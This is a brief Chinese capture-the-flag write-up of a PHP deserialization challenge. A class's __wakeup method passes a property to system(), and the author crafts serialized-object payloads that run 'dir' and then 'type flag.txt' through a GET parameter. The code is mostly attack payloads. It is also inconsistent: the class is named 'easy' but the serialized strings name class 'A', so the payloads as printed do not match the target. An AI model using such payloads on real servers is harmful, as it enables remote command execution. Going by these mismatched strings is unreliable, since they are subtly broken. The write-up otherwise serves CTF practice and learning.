打开网站看到代码:
<?php
highlight_file(__FILE__);
class easy{
public $cmd;
public function __wakeup(){
system($this->cmd);
}
}
unserialize($_GET['pop']);
?>
是一个简单的反序列化题目,在本地启动php_study,生成序列化字符串:
<?php
highlight_file(__FILE__);
class easy{
public $cmd;
public function __wakeup(){
system($this->cmd);
}
}
$a=new easy();
echo serialize($a);
unserialize($_GET['pop']);
?>O:1:"A":1:{s:3:"cmd";N;}
魔术函数__wakeup()会在反序列化的时候自动执行, 看到里面有system函数,构造cmd参数,执行系统命令。
通过get参数传递包含构造cmd参数的字符串
O:1:"A":1:{s:3:"cmd";s:3:"dir";}
最终payload: O:1:"A":1:{s:3:"cmd";s:13:"type%20flag.txt";}